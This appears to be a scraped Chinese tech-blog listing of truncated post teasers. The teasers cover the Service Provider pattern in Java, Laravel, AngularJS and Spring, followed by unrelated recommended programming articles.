  2. Service Provider Interface

    @(Java)[SPI] Service Provider Interface API的一种设计方法,一般用于一些服务提供给第三方实现或者扩展,可以增强框架的扩展或者替换一些组件. 结构 Servic ...

  3. Introduction to the Service Provider Interfaces--官方文档

    地址:https://docs.oracle.com/javase/tutorial/sound/SPI-intro.html What Are Services? Services are unit ...

  4. SOA Integration Repository Error:Service Provider Access is not available.

    在Oracle EBS Integration Repository中,打开一个Webservice,报了一个警告. 英文: Warning Service Provider Access is no ...

  5. laravel5如何创建service provider和facade

    laravel5如何创建service provider和facade laravel5创建一个facade,可以将某个service注册个门面,这样,使用的时候就不需要麻烦地use 了.文章用一个例 ...

  6. Service Provider模式

    参考文章:[http://blog.csdn.net/zl3450341/article/details/7227197] Service Interface:服务接口,将服务通过抽象统一声明,供客户 ...

  7. angularjs factory,service,provider 自定义服务的不同

    angularjs框架学了有一段时间了,感觉很好用.可以把angularjs的app理解成php的class,controller是控制器,而内置服务和自定义服务就可以理解成models了.angul ...

  8. AngularJS 讲解五, Factory ,Service , Provider

    一. 首先说一下,为什么要引入Factory,Service和Provider这三个Service层. 1.因为我们不应该在controller层写入大量的业务逻辑和持久化数据,controller层 ...

  9. JAVA SPI(Service Provider Interface)原理、设计及源码解析(其一)

    背景 团队内部轮流技术分享,其他人都是分享源码,我每次都是设计和架构,感觉自己太特立独行.这次我要合群点,分享点源码. 概念 Service Provider Interface:服务提供方接口.是一 ...

  10. spring揭密学习笔记(3)-spring ioc容器:掌管大局的IoC Service Provider

    1.IOC service Provider的概念.IoC Service Provider在这里是一个抽象出来的概念,它可以指代任何将IoC场景中的业务对象绑定到一起的实现方式.它可以是一段代码,也 ...

随机推荐

  1. Java之对象内存分析

    相信大家有时候在读代码的时候应该都会有以下情况: 这个对象本定义在上面,乱跑什么?怎么又到下面去了? 欸?我明明改变了这个对象的值,怎么没变呢? 要想搞清楚某一对象在程序中是怎样活蹦乱跳的,首先我们要 ...

  2. Electron-Vue中引入vue-devtools

    效果图 先看下我引入后的效果图: 可以看到,跟在Chrome浏览器一样,会在开发者工具中出现一个Vue的标签,使用方式没有差别. 引入步骤 步骤一:下载安装vue-devtools 到vue-devt ...

  3. .NET6中的await原理浅析

    前言 看过不少关于 await 的原理的文章,也知道背后是编译器给转成了状态机实现的,但是具体是怎么完成的,回调又是如何衔接的,一直都没有搞清楚,这次下定决心把源码自己跑了下,终于豁然开朗了 本文的演 ...

  4. C语言输入一个三位的正整数,按逆序打印出该数的各位数字。

    #include <stdio.h> int main() { int n, a, b, c;//定义3位数,个位数,十位数,百位数变量 scanf_s("%d", & ...

  5. GeminiDB新特性:让Redis广告频控爱不释手的exHASH

    本文分享自华为云社区<GeminiDB新特性:让Redis广告频控爱不释手的exHASH>,作者:GeminiDB-Redis博客 . exHash类型是一种支持Field过期的新型数据类 ...

  6. 洛谷P2579 [ZJOI2005]沼泽鳄鱼(矩阵快速幂,周期)

    例题:现在豆豆已经选好了两座石墩Start和End,他想从Start出发,经过K个单位时间后恰好站在石墩End上.假设石墩可以重复经过(包括Start和End),他想请你帮忙算算,这样的路线共有多少种 ...

  7. Echarts 柱形图最全详解

    Echarts 是一款基于 JavaScript 的开源可视化图表库,被广泛应用于数据可视化领域.它提供了丰富的图表类型和交互功能,其中柱形图是最常用和重要的一种图表类型之一.下面是对 Echarts ...

  8. 带你玩转 Vite + Vue3 高低版本常用玩法

    一.首先来个 Vite 的通用简介 Vite 是一种新型前端构建工具,在我们保险前端项目中已经推动并应用很久了,Vite 能够显著降低构建时间,提升前端开发效率. 它主要由两部分组成: 一个开发服务器 ...

  9. 【I/O设备】显示设备 Display

    显示设备 电信号→视觉信号 属于软复制输出设备:输出内容不能长期保存 显示内容分为:字符.图形.图像 按显示器件分类:CRT.LCD.OLED等 (PD.LED.ELD.ECD.EPID) 按显示原理 ...

  10. [ARC156D] Xor Sum 5

    Problem Statement You are given a sequence of $N$ non-negative integers $A=(A_1,A_2,\dots,A_N)$ and ...